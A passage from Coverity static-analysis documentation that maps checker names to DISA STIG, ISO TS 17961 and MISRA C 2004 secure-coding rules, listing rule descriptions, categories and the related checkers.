APSC-DV-003110	The application must not contain embedded authentication data.	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS UNSAFE_BASIC_AUTH UNSAFE_SESSION_SETTING
APSC-DV-003215	The application development team must follow a set of coding standards.	ALLOC_FREE_MISMATCH ASSERT_SIDE_EFFECT ASSIGN_NOT_RETURNING_STAR_THIS AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION BAD_COMPARE

Name	Description	Coverity Checkers
		BAD_EQ BAD_EQ_TYPES BAD_OVERRIDE BAD_SHIFT BAD_SIZEOF BUFFER_SIZE CALL_SUPER CHAR_IO CHROOT COM.ADDROF_LEAK COM.BAD_FREE COM.BSTR.BAD_COMPARE COM.BSTR.NE_NON_BSTR CONFIG.COOKIE_MISSING_HTTPONLY CONFIG.COOKIE_SIGNING_DISABLED CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DUPLICATE_SERVLET_DEFINITION CONFIG.HTTP_VERB_TAMPERING CONFIG.JAVAAE_MISSING_HTTPONLY CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_SESSION_FIXATION CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.UNSAFE_SESSION_TIMEOUT CONSTANT_EXPRESSION_RESULT COOKIE_INJECTION COPY_PASTE_ERROR COPY_WITHOUT_ASSIGN CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CTOR_DTOR_LEAK DC.DANGEROUS DC.DEADLOCK DC.STREAM_BUFFER DC.STRING_BUFFER DEADCODE EL_INJECTION ENUM_AS_BOOLEAN EVALUATION_ORDER EXPLICIT_THIS_EXPECTED HFA HIBERNATE_BAD_HASHCODE HPKP_MISCONFIGURATION IDENTICAL_BRANCHES IDENTIFIER_TYPO INCOMPATIBLE_CAST INSECURE_HTTP_FIREWALL

Name	Description	Coverity Checkers
		INSUFFICIENT_PRESIGNED_URL_TIMEOUT INVALIDATE_ITERATOR LOCK LOCK_INVERSION MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_AUTHZ MISSING_BREAK MISSING_COMMA MISSING_COPY MISSING_MOVE_ASSIGNMENT MISSING_RESTORE MISSING_RETURN MISSING_THROW MIXED_ENUMS NEGATIVE_RETURNS NESTING_INDENT_MISMATCH NO_EFFECT OPEN_ARGS ORDER_REVERSAL ORM_LOAD_NULL_CHECK ORM_LOST_UPDATE ORM_UNNECESSARY_GET OVERFLOW_BEFORE_WIDEN PARSE_ERROR PASS_BY_VALUE PROPERTY_MIXUP PW.ASSIGN_WHERE_COMPARE_MEANT PW.BAD_CAST PW.BAD_PRINTF_FORMAT_STRING PW.BRANCH_PAST_INITIALIZATION PW.CONVERSION_TO_POINTER_LOSES_BITS PW.DIVIDE_BY_ZERO PW.EXPR_HAS_NO_EFFECT PW.INCLUDE_RECURSION PW.INTEGER_OVERFLOW PW.INTEGER_TOO_LARGE PW.NON_CONST_PRINTF_FORMAT_STRING PW.RETURN_PTR_TO_LOCAL_TEMP PW.SHIFT_COUNT_TOO_LARGE PW.TOO_FEW_PRINTF_ARGS PW.TOO_MANY_PRINTF_ARGS PW.UNSIGNED_COMPARE_WITH_NEGATIVE READLINK REGEX_CONFUSION RETURN_LOCAL

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		SECURE_TEMP SELF_ASSIGN SESSION_FIXATION SIGN_EXTENSION SIZECHECK SIZEOF_MISMATCH SLEEP STRAY_SEMICOLON STREAM_FORMAT_STATE STRING_NULL SWAPPED_ARGUMENTS TAINT_ASSERT TEMPORARY_CREDENTIALS_DURATION UNINIT UNINIT_CTOR UNINTENDED_GLOBAL UNINTENDED_INTEGER_DIVISION UNREACHABLE UNUSED_VALUE USELESS_CALL USER_POINTER USE_AFTER_FREE VARARGS VIRTUAL_DTOR WRAPPER_ESCAPE WRONG_METHOD
APSC-DV-003235	The application must not be subject to error handling vulnerabilities.	BAD_COMPARE CHECKED_RETURN FB.RV_RETURN_VALUE_IGNORED_BAD_PRACTICE NEGATIVE_RETURNS ORM_LOAD_NULL_CHECK REVERSE_NEGATIVE UNCAUGHT_EXCEPT
APSC-DV-003300	The designer must ensure uncategorized or emerging mobile code is not used in applications.	FB.EI_EXPOSE_REP FB.EI_EXPOSE_REP2 FB.FI_PUBLIC_SHOULD_BE_PROTECTED FB.MS_CANNOT_BE_FINAL
APSC-DV-003320	Protections against DoS attacks must be implemented.	BAD_FREE COM.BSTR.CONV DC.DEADLOCK DIVIDE_BY_ZERO FB.BC_NULL_INSTANCEOF FB.NP_ALWAYS_NULL FB.NP_ALWAYS_NULL_EXCEPTION FB.NP_ARGUMENT_MIGHT_BE_NULL

Name	Description	Coverity Checkers
		FB.NP_BOOLEAN_RETURN_NULL FB.NP_CLONE_COULD_RETURN_NULL FB.NP_CLOSING_NULL FB.NP_DEREFERENCE_OF_READLINE_VALUE FB.NP_DOES_NOT_HANDLE_NULL FB.NP_EQUALS_SHOULD_HANDLE_NULL_ARGUMENT FB.NP_FIELD_NOT_INITIALIZED_IN_CONSTRUCTOR FB.NP_GUARANTEED_DEREF FB.NP_GUARANTEED_DEREF_ON_EXCEPTION_PATH FB.NP_IMMEDIATE_DEREFERENCE_OF_READLINE FB.NP_LOAD_OF_KNOWN_NULL_VALUE FB.NP_METHOD_PARAMETER_RELAXING_ANNOTATION FB.NP_METHOD_PARAMETER_TIGHTENS_ANNOTATION FB.NP_METHOD_RETURN_RELAXING_ANNOTATION FB.NP_NONNULL_FIELD_NOT_INITIALIZED_IN_CONSTRUCTOR FB.NP_NONNULL_PARAM_VIOLATION FB.NP_NONNULL_RETURN_VIOLATION FB.NP_NULL_INSTANCEOF FB.NP_NULL_ON_SOME_PATH FB.NP_NULL_ON_SOME_PATH_EXCEPTION FB.NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE FB.NP_NULL_ON_SOME_PATH_MIGHT_BE_INFEASIBLE FB.NP_NULL_PARAM_DEREF FB.NP_NULL_PARAM_DEREF_ALL_TARGETS_DANGEROUS FB.NP_NULL_PARAM_DEREF_NONVIRTUAL FB.NP_OPTIONAL_RETURN_NULL FB.NP_PARAMETER_MUST_BE_NONNULL_BUT_MARKED_AS_NULL FB.NP_STORE_INTO_NONNULL_FIELD FB.NP_TOSTRING_COULD_RETURN_NULL FB.NP_UNWRITTEN_FIELD FB.NP_UNWRITTEN_PUBLIC_OR_PROTECTED_FIELD FB.RCN_REDUNDANT_COMPARISON_OF_NULL_AND_NONNULL_VALUES FB.RCN_REDUNDANT_COMPARISON_TWO_NULL_VALUES FB.RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE FB.RCN_REDUNDANT_NULLCHECK_OF_NULL_VALUE FB.RCN_REDUNDANT_NULLCHECK_WOULD_HAVE_BEEN_A_NPE FORWARD_NULL INFINITE_LOOP LOCK LOCK_INVERSION NULL_RETURNS ORDER_REVERSAL PW.DIVIDE_BY_ZERO REVERSE_INULL TAINTED_SCALAR

---

# Appendix C. Payment Card Industry Data Security Standard

## Table of Contents

C.1. Overview .....	1086
---------------------	------

### C.1. Overview

Coverity Analysis can identify violations of the rules as defined by the standard "Payment Card Industry Data Security Standard (PCI DSS) 2018". These rules are listed in the following table.

---

# Appendix D. ISO TS 17961 2016 Standard

## Table of Contents

D.1. Overview ..... 1087

### D.1. Overview

Coverity Analysis can identify violations of the ISO TS 17961 rules listed in the following table.

To run an ISO TS 17961 analysis, you must pass the `--coding-standard-config` [option](#) to **coverity-analyze**. See *Coverity Analysis User and Administration Guide* [\("Running Coding Standard Analysis"\)](#) for further guidance.

#### D.1.1. ISO/IEC TS 17961:2013/Cor 1:2016 C Secure Coding Rules

Table D.1. ISO/IEC TS 17961:2013/Cor 1:2016 C Secure Coding Rules

Name	Description	Coverity Checker
5.1 ptrcomp	Accessing an object through a pointer to an incompatible type.	ISO TS17961 2013 ptrcomp
5.2 accfree	Accessing freed memory.	ISO TS17961 2013 accfree
5.3 accsig	Accessing shared objects in signal handlers.	ISO TS17961 2013 accsig
5.4 boolasgn	No assignment in conditional expressions.	ISO TS17961 2013 boolasgn
5.5 asyncsig	Calling functions in the C Standard Library other than abort, _Exit, and signal from within a signal handler	ISO TS17961 2013 asyncsig
5.6 argcomp	Calling functions with incorrect arguments.	ISO TS17961 2013 argcomp
5.7 sigcall	Calling signal from interruptible signal handlers.	ISO TS17961 2013 sigcall
5.8 syscall	Calling system.	ISO TS17961 2013 syscall
5.9 padcomp	Comparison of padding data.	ISO TS17961 2013 padcomp
5.10 intptrconv	Converting a pointer to integer or integer to pointer.	ISO TS17961 2013 intptrconv
5.11 alignconv	Converting pointer values to more strictly aligned pointer types.	ISO TS17961 2013 alignconv
5.12 filecpy	Copying a FILE object.	ISO TS17961 2013 filecpy

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
5.13 funcdecl	Declaring the same function or object in incompatible ways.	ISO TS17961 2013 funcdecl
5.14 nullref	Dereferencing an out-of-domain pointer.	ISO TS17961 2013 nullref
5.15 addresscape	Escaping of the address of an automatic object.	ISO TS17961 2013 addresscape
5.16 signconv	Conversion of signed characters to wider integer types before a check for EOF.	ISO TS17961 2013 signconv
5.17 swtchdfilt	Use of an implied default in a switch statement.	ISO TS17961 2013 swtchdfilt
5.18 fileclose	Failing to close files or free dynamic memory when they are no longer needed.	ISO TS17961 2013 fileclose
5.19 liberr	Failing to detect and handle standard library errors.	ISO TS17961 2013 liberr
5.20 libptr	Forming invalid pointers by library function.	ISO TS17961 2013 libptr
5.21 insufmem	Allocating insufficient memory.	ISO TS17961 2013 insufmem
5.22 invptr	Forming or using out-of-bounds pointers or array subscripts.	ISO TS17961 2013 invptr
5.23 dblfree	Freeing memory multiple times.	ISO TS17961 2013 dblfree
5.24 usrfmt	Including tainted or out-of-domain input in a format string.	ISO TS17961 2013 usrfmt
5.25 inverrno	Incorrectly setting and using errno.	ISO TS17961 2013 inverrno
5.26 diverr	Integer division errors.	ISO TS17961 2013 diverr
5.27 ioileave	Interleaving stream inputs and outputs without a flush or positioning call.	ISO TS17961 2013 ioileave
5.28 strmod	Modifying string literals.	ISO TS17961 2013 strmod
5.29 libmod	Modifying the string returned by getenv, localeconv, setlocale, and strerror.	ISO TS17961 2013 libmod
5.30 intoflow	Overflowing signed integers.	ISO TS17961 2013 intoflow
5.31 nonnullcs	Passing a non-null-terminated character sequence to a library function that expects a string.	ISO TS17961 2013 nonnullcs

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
5.32 chrsgnext	Passing arguments to character-handling functions that are not representable as unsigned char.	ISO TS17961 2013 chrsgnext
5.33 restrict	Passing pointers into the same object as arguments to different restrict-qualified parameters.	ISO TS17961 2013 restrict
5.34 xfree	Reallocating or freeing memory that was not dynamically allocated.	ISO TS17961 2013 xfree
5.35 uninitref	Referencing uninitialized memory.	ISO TS17961 2013 uninitref
5.36 ptrobj	Subtracting or comparing two pointers that do not refer to the same array.	ISO TS17961 2013 ptrobj
5.37 taintstrcpy	Tainted strings are passed to a string copying function.	ISO TS17961 2013 taintstrcpy
5.38 sizeofptr	Taking the size of a pointer to determine the size of the pointed-to type.	ISO TS17961 2013 sizeofptr
5.39 taintnoproto	Using a tainted value as an argument to an unprototyped function pointer.	ISO TS17961 2013 taintnoproto
5.40 taintformatio	Using a tainted value to write to an object using a formatted input or output function.	ISO TS17961 2013 taintformatio
5.41 xfilepos	Using a value for fsetpos other than a value returned from fgetpos.	ISO TS17961 2013 xfilepos
5.42 libuse	Using an object overwritten by getenv, localeconv, setlocale, and strerror.	ISO TS17961 2013 libuse
5.43 chreof	Using character values that are indistinguishable from EOF.	ISO TS17961 2013 chreof
5.44 resident	Using identifiers that are reserved for the implementation.	ISO TS17961 2013 resident
5.45 invfmtstr	Using invalid format strings.	ISO TS17961 2013 invfmtstr
5.46 taintsink	Tainted, potentially mutilated, or out-of-domain integer values are used in a restricted sink.	ISO TS17961 2013 taintsink

---

# Appendix E. MISRA Rules and Directives

## Table of Contents

E.1. Overview .....	1090
E.2. MISRA C 2004 .....	1090
E.3. MISRA C++ 2008 .....	1110
E.4. MISRA C 2012 .....	1141

## E.1. Overview

To run the MISRA analysis, you must pass the `--coding-standard-config` [↗](#) option to `cov-analyze`. See *Coverity Analysis User and Administration Guide* [↗](#) ("Running MISRA analysis") for guidance with the rest of the analysis workflow.

### Important

Coverity Analysis only identifies violations of MISRA rules and directives identified in this section.

Running the Coverity MISRA checkers can help your organization achieve MISRA compliance, but simply passing these tests does not ensure compliance. To satisfy compliance requirements, a project must establish and document a workflow that enforces the standard on an ongoing basis. We suggest that you begin by becoming familiar with the *MISRA Compliance* memo published by that organization.

### MISRA C 2004 Rule 1.1 and MISRA C 2012 Rule 1.1

MISRA C 2004 Rule 1.1 and MISRA C 2012 Rule 1.1 ensure that the analyzed program is compliant with the C standard. The Clang compiler uses different parse warnings and error messages than `cov-emit` uses. You might encounter minor discrepancies between the enforcement of rule 1.1 by the Clang compiler and `cov-emit`.

MISRA rules and directives are assigned a default category, as listed in the following tables. Categories for many rules can be modified by organizations using MISRA. For details on revising category classifications and other MISRA-related items, refer to the MISRA Compliance 2016: Achieving Compliance with MISRA Coding Guidelines.

## E.2. MISRA C 2004

Table E.1. MISRA C 2004

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 1.1	Environment	All code shall conform to ISO/IEC 9899:1990 Programming languages C,	Required	MISRA C-2004 Rule 1.1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		amended and corrected by ISO/IEC 9899/COR1:1995, ISO/IEC 9899/AMD1:1995, and ISO/IEC 9899/COR2:1996.		
Rule 1.2	Environment	No reliance shall be placed on undefined or unspecified behavior.	Required	
Rule 1.3	Environment	Multiple compilers and/or languages shall only be used if there is a common defined interface standard for object code to which the compilers/ languages/ assemblers conform.	Required	
Rule 1.4	Environment	The compiler/ linker shall be checked to ensure that 31 character significance and case sensitivity are supported for external identifiers.	Required	
Rule 1.5	Environment	Floating point implementations should comply with a defined floating-point standard.	Advisory	
Rule 2.1	Language extensions	Assembly language shall be encapsulated and isolated.	Required	MISRA C-2004 Rule 2.1

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 2.2	Language extensions	Source code shall only use /* ... */ style comments.	Required	MISRA C-2004 Rule 2.2
Rule 2.3	Language extensions	The character sequence /* shall not be used within a comment.	Required	MISRA C-2004 Rule 2.3
Rule 2.4	Language extensions	Sections of code should not be "commented out".	Advisory	MISRA C-2004 Rule 2.4
Rule 3.1	Documentation	All usage of implementation-defined behavior shall be documented.	Required	
Rule 3.2	Documentation	The character set and the corresponding encoding shall be documented.	Required	
Rule 3.3	Documentation	The implementation of integer division in the chosen compiler should be determined, documented and taken into account.	Advisory	
Rule 3.4	Documentation	All uses of the #pragma directive shall be documented and explained.	Required	
Rule 3.5	Documentation	If it is being relied upon, the implementation defined behavior and packing of bitfields shall be documented.	Required	
Rule 3.6	Documentation	All libraries used in production code shall be written		

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		to comply with the provisions of this document, and shall have been subject to appropriate validation.		
Rule 4.1	Character Sets	Only those escape sequences that are defined in the ISO C standard shall be used.	Required	MISRA C-2004 Rule 4.1
Rule 4.2	Character Sets	Trigraphs shall not be used.	Required	MISRA C-2004 Rule 4.2
Rule 5.1	Identifiers	Identifiers (internal and external) shall not rely on the significance of more than 31 characters.	Required	MISRA C-2004 Rule 5.1
Rule 5.2	Identifiers	Identifiers in an inner scope shall not use the same name as an identifier in an outer scope, and therefore hide that identifier.	Required	MISRA C-2004 Rule 5.2
Rule 5.3	Identifiers	A typedef name shall be a unique identifier.	Required	MISRA C-2004 Rule 5.3
Rule 5.4	Identifiers	A tag name shall be a unique identifier.	Required	MISRA C-2004 Rule 5.4
Rule 5.5	Identifiers	No object or function identifier with static storage duration should be reused.	Advisory	MISRA C-2004 Rule 5.5
Rule 5.6	Identifiers	No identifier in one name space should have the same spelling as an	Advisory	MISRA C-2004 Rule 5.6

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		identifier in another name space, with the exception of structure member and union member names.		
Rule 5.7	Identifiers	No identifier name should be reused.	Advisory	MISRA C-2004 Rule 5.7
Rule 6.1	Types	The plain char type shall be used only for the storage and use of character values.	Required	MISRA C-2004 Rule 6.1
Rule 6.2	Types	Signed and unsigned char type shall be used only for the storage and use of numeric values.	Required	MISRA C-2004 Rule 6.2
Rule 6.3	Types	Typedefs that indicate size and signedness should be used in place of the basic numerical types.	Advisory	MISRA C-2004 Rule 6.3
Rule 6.4	Types	Bit fields shall only be defined to be of type unsigned int or signed int.	Required	MISRA C-2004 Rule 6.4
Rule 6.5	Types	Bit fields of signed type shall be at least 2 bits long.	Required	MISRA C-2004 Rule 6.5
Rule 7.1	Constants	Octal constants (other than zero) and octal escape sequences shall not be used.	Required	MISRA C-2004 Rule 7.1
Rule 8.1	Constants	Functions shall have prototype declarations and prototype shall be visible at both the	Required	MISRA C-2004 Rule 8.1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		function definition and call.		
Rule 8.2	Constants	Whenever an object or function is declared or defined, its type shall be explicitly stated.	Required	MISRA C-2004 Rule 8.2
Rule 8.3	Constants	For each function parameter the type given in the declaration and definition shall be identical, and the return types shall also be identical.	Required	MISRA C-2004 Rule 8.3
Rule 8.4	Constants	If objects or functions are declared more than once their types shall be compatible.	Required	MISRA C-2004 Rule 8.4
Rule 8.5	Constants	There shall be no definitions of objects or functions in a header file.	Required	MISRA C-2004 Rule 8.5
Rule 8.6	Constants	Functions shall be declared at file scope.	Required	MISRA C-2004 Rule 8.6
Rule 8.7	Constants	Objects shall be defined at block scope if they are only accessed from within a single function.	Required	MISRA C-2004 Rule 8.7
Rule 8.8	Constants	An external object or function shall be declared in one and only one file.	Required	MISRA C-2004 Rule 8.8
Rule 8.9	Constants	An identifier with external linkage shall have exactly one external definition.	Required	MISRA C-2004 Rule 8.9

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 8.10	Constants	All declarations and definitions of objects or functions at file scope shall have internal linkage unless external linkage is required.	Required	MISRA C-2004 Rule 8.10
Rule 8.11	Constants	The static storage class specifier shall be used in definitions and declarations of objects and functions that have internal linkage.	Required	MISRA C-2004 Rule 8.11
Rule 8.12	Constants	When an array is declared with external linkage, its size shall be stated explicitly or defined implicitly by initialisation.	Required	MISRA C-2004 Rule 8.12
Rule 9.1	Initialisation	All automatic variables shall have been assigned a value before being used.	Required	MISRA C-2004 Rule 9.1
Rule 9.2	Initialisation	Braces shall be used to indicate and match the structure in the non-zero initialisation of arrays and structures.	Required	MISRA C-2004 Rule 9.2
Rule 9.3	Initialisation	In an enumerator list, the "=" construct shall not be used to explicitly initialise members other than the first,	Required	MISRA C-2004 Rule 9.3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		unless all items are explicitly initialised.		
Rule 10.1	Implicit type conversions	The value of an expression of integer type shall not be implicitly converted to a different underlying type if: (a) it is not a conversion to a wider integer type of the same signedness, or (b) the expression is complex, or (c) the expression is not constant and is a function argument, or (d) the expression is not constant and is a return expression.	Required	MISRA C-2004 Rule 10.1
Rule 10.2	Implicit type conversions	The value of an expression of floating type shall not be implicitly converted to a different type if: (a) it is not a conversion to a wider floating type, or (b) the expression is complex, or (c) the expression is a function argument, or (d) the expression is a return expression.	Required	MISRA C-2004 Rule 10.2
Rule 10.3	Implicit type conversions	The value of a complex expression of integer type shall only be cast to a type of the same	Required	MISRA C-2004 Rule 10.3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		signedness that is no wider than the underlying type of the expression.		
Rule 10.4	Implicit type conversions	The value of a complex expression of floating type shall only be cast to a floating type that is narrower or of the same size.	Required	MISRA C-2004 Rule 10.4
Rule 10.5	Implicit type conversions	If the bitwise operators ~ and << are applied to an operand of underlying type unsigned char or unsigned short, the result shall be immediately cast to the underlying type of the operand.	Required	MISRA C-2004 Rule 10.5
Rule 10.6	Implicit type conversions	A "U" suffix shall be applied to all constants of unsigned type.	Required	MISRA C-2004 Rule 10.6
Rule 11.1	Pointer type conversions	Conversions shall not be performed between a pointer to a function and any type other than an integral type.	Required	MISRA C-2004 Rule 11.1
Rule 11.2	Pointer type conversions	Conversions shall not be performed between a pointer to object and any type other than an integral type, another pointer to object type or a pointer to void.	Required	MISRA C-2004 Rule 11.2
Rule 11.3	Pointer type conversions	A cast should not be performed	Advisory	MISRA C-2004 Rule 11.3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		between a pointer type and an integral type.		
Rule 11.4	Pointer type conversions	A cast should not be performed between a pointer to object type and a different pointer to object type.	Advisory	MISRA C-2004 Rule 11.4
Rule 11.5	Pointer type conversions	A cast shall not be performed that removes any const or volatile qualification from the type addressed by a pointer.	Required	MISRA C-2004 Rule 11.5
Rule 12.1	Expressions	Limited dependence should be placed on C's operator precedence rules in expressions.	Advisory	MISRA C-2004 Rule 12.1
Rule 12.2	Expressions	The value of an expression shall be the same under any order of evaluation that the standard permits.	Required	MISRA C-2004 Rule 12.2
Rule 12.3	Expressions	The sizeof operator shall not be used on expressions that contain side effects.	Required	MISRA C-2004 Rule 12.3
Rule 12.4	Expressions	The right hand operand of a logical && or    operator shall not contain side effects.	Required	MISRA C-2004 Rule 12.4
Rule 12.5	Expressions	The operands of a logical && or    shall be primary expressions.	Required	MISRA C-2004 Rule 12.5

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 12.6	Expressions	The operands of logical operators (&&,    and !) should be effectively Boolean. Expressions that are effectively Boolean should not be used as operands to operators other than (&&,   , !, =, ==, != and ?:).	Advisory	MISRA C-2004 Rule 12.6
Rule 12.7	Expressions	Bitwise operators shall not be applied to operands whose underlying type is signed.	Required	MISRA C-2004 Rule 12.7
Rule 12.8	Expressions	The right-hand operand of a shift operator shall lie between zero and one less than the width in bits of the underlying type of the left-hand operand.	Required	MISRA C-2004 Rule 12.8
Rule 12.9	Expressions	The unary minus operator shall not be applied to an expression whose underlying type is unsigned.	Required	MISRA C-2004 Rule 12.9
Rule 12.10	Expressions	The comma operator shall not be used.	Required	MISRA C-2004 Rule 12.10
Rule 12.11	Expressions	Evaluation of constant unsigned integer expressions should not lead to wrap-around.	Advisory	MISRA C-2004 Rule 12.11
Rule 12.12	Expressions	The underlying bit representations	Required	MISRA C-2004 Rule 12.12

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		of floating-point values shall not be used.		
Rule 12.13	Expressions	The increment (++) and decrement (--) operators should not be mixed with other operators in an expression.	Advisory	MISRA C-2004 Rule 12.13
Rule 13.1	Control Statement Expressions	Assignment operators shall not be used in expressions that yield a Boolean value.	Required	MISRA C-2004 Rule 13.1
Rule 13.2	Control Statement Expressions	Tests of a value against zero should be made explicit, unless the operand is effectively Boolean.	Advisory	MISRA C-2004 Rule 13.2
Rule 13.3	Control Statement Expressions	Floating-point expressions shall not be tested for equality or inequality.	Required	MISRA C-2004 Rule 13.3
Rule 13.4	Control Statement Expressions	The controlling expression of a for statement shall not contain any objects of floating type.	Required	MISRA C-2004 Rule 13.4
Rule 13.5	Control Statement Expressions	The three expressions of a for statement shall be concerned only with loop control.	Required	MISRA C-2004 Rule 13.5
Rule 13.6	Control Statement Expressions	Numeric variables being used within a for loop for iteration counting shall not be modified in the body of the loop.	Required	MISRA C-2004 Rule 13.6

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 13.7	Control Statement Expressions	Boolean operations whose results are invariant shall not be permitted.	Required	MISRA C-2004 Rule 13.7
Rule 14.1	Control Flow	There shall be no unreachable code.	Required	MISRA C-2004 Rule 14.1
Rule 14.2	Control Flow	All non-null statements shall either (a) have at least one side-effect however executed, or (b) cause control flow to change.	Required	MISRA C-2004 Rule 14.2
Rule 14.3	Control Flow	Before preprocessing, a null statement shall only occur on a line by itself; it may be followed by a comment provided that the first character following the null statement is a white-space character.	Required	MISRA C-2004 Rule 14.3
Rule 14.4	Control Flow	The goto statement shall not be used.	Required	MISRA C-2004 Rule 14.4
Rule 14.5	Control Flow	The continue statement shall not be used.	Required	MISRA C-2004 Rule 14.5
Rule 14.6	Control Flow	For any iteration statement there shall be at most one break statement used for loop termination.	Required	MISRA C-2004 Rule 14.6
Rule 14.7	Control Flow	A function shall have a single point of exit at the end of the function.	Required	MISRA C-2004 Rule 14.7

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 14.8	Control Flow	The statement forming the body of a switch, while, do ... while or for statement shall be a compound statement.	Required	MISRA C-2004 Rule 14.8
Rule 14.9	Control Flow	An if (expression) construct shall be followed by a compound statement. The else keyword shall be followed by either a compound statement, or another if statement.	Required	MISRA C-2004 Rule 14.9
Rule 14.10	Control Flow	All if ... else if constructs shall be terminated with an else statement.	Required	MISRA C-2004 Rule 14.10
Rule 15.0	Switch statements	The MISRA C switch syntax shall be used.	Required	MISRA C-2004 Rule 15.0
Rule 15.1	Switch statements	A switch label shall only be used when the most closely-enclosing compound statement is the body of a switch statement.	Required	MISRA C-2004 Rule 15.1
Rule 15.2	Switch statements	An unconditional break statement shall terminate every non-empty switch clause.	Required	MISRA C-2004 Rule 15.2
Rule 15.3	Switch statements	The final clause of a switch statement shall be the default clause.	Required	MISRA C-2004 Rule 15.3

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 15.4	Switch statements	A switch expression shall not represent a value that is effectively Boolean.	Required	MISRA C-2004 Rule 15.4
Rule 15.5	Switch statements	Every switch statement shall have at least one case clause.	Required	MISRA C-2004 Rule 15.5
Rule 16.1	Functions	Functions shall not be defined with variable numbers of arguments.	Required	MISRA C-2004 Rule 16.1
Rule 16.2	Functions	Functions shall not call themselves, either directly or indirectly.	Required	MISRA C-2004 Rule 16.2
Rule 16.3	Functions	Identifiers shall be given for all of the parameters in a function prototype declaration.	Required	MISRA C-2004 Rule 16.3
Rule 16.4	Functions	The identifiers used in the declaration and definition of a function shall be identical.	Required	MISRA C-2004 Rule 16.4
Rule 16.5	Functions	Functions with no parameters shall be declared and defined with the parameter list void.	Required	MISRA C-2004 Rule 16.5
Rule 16.6	Functions	The number of arguments passed to a function shall match the number of parameters.	Required	MISRA C-2004 Rule 16.6
Rule 16.7	Functions	A pointer parameter in a function prototype should be declared as pointer to const if the pointer is not	Advisory	MISRA C-2004 Rule 16.7

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		used to modify the addressed object.		
Rule 16.8	Functions	All exit paths from a function with non-void return type shall have an explicit return statement with an expression.	Required	MISRA C-2004 Rule 16.8
Rule 16.9	Functions	A function identifier shall only be used with either a preceding &, or with a parenthesised parameter list, which may be empty.	Required	MISRA C-2004 Rule 16.9
Rule 16.10	Functions	If a function returns error information, then that error information shall be tested.	Required	MISRA C-2004 Rule 16.10
Rule 17.1	Pointers and arrays	Pointer arithmetic shall only be applied to pointers that address an array or array element.	Required	MISRA C-2004 Rule 17.1
Rule 17.2	Pointers and arrays	Subtraction between pointers shall only be applied to pointers that address elements of the same array.	Required	MISRA C-2004 Rule 17.2
Rule 17.3	Pointers and arrays	The relational operators >, >=, <, <= shall not be applied to pointer types except where they point to the same array.	Required	MISRA C-2004 Rule 17.3

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 17.4	Pointers and arrays	Array indexing shall be the only allowed form of pointer arithmetic.	Required	MISRA C-2004 Rule 17.4
Rule 17.5	Pointers and arrays	The declaration of objects should contain no more than 2 levels of pointer indirection.	Advisory	MISRA C-2004 Rule 17.5
Rule 17.6	Pointers and arrays	The address of an object with automatic storage shall not be assigned to another object that may persist after the first object has ceased to exist.	Required	MISRA C-2004 Rule 17.6
Rule 18.1	Structures and unions	All structure or union types shall be complete at the end of a translation unit.	Required	MISRA C-2004 Rule 18.1
Rule 18.2	Structures and unions	An object shall not be assigned to an overlapping object.	Required	MISRA C-2004 Rule 18.2
Rule 18.3	Structures and unions	An area of memory shall not be reused for unrelated purposes.	Required	
Rule 18.4	Structures and unions	Unions shall not be used.	Required	MISRA C-2004 Rule 18.4
Rule 19.1	Preprocessing directives	#include statements in a file should only be preceded by other preprocessor directives or comments.	Advisory	MISRA C-2004 Rule 19.1
Rule 19.2	Preprocessing directives	Non-standard characters should not occur in header	Advisory	MISRA C-2004 Rule 19.2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		file names in #include directives.		
Rule 19.3	Preprocessing directives	The #include directive shall be followed by either a <filename> or "filename" sequence.	Required	MISRA C-2004 Rule 19.3
Rule 19.4	Preprocessing directives	C macros shall only expand to a braced initialiser, a constant, a string literal, a parenthesised expression, a type qualifier, a storage class specifier, or a do-while-zero construct.	Required	MISRA C-2004 Rule 19.4
Rule 19.5	Preprocessing directives	Macros shall not be #defined or #undefd within a block.	Required	MISRA C-2004 Rule 19.5
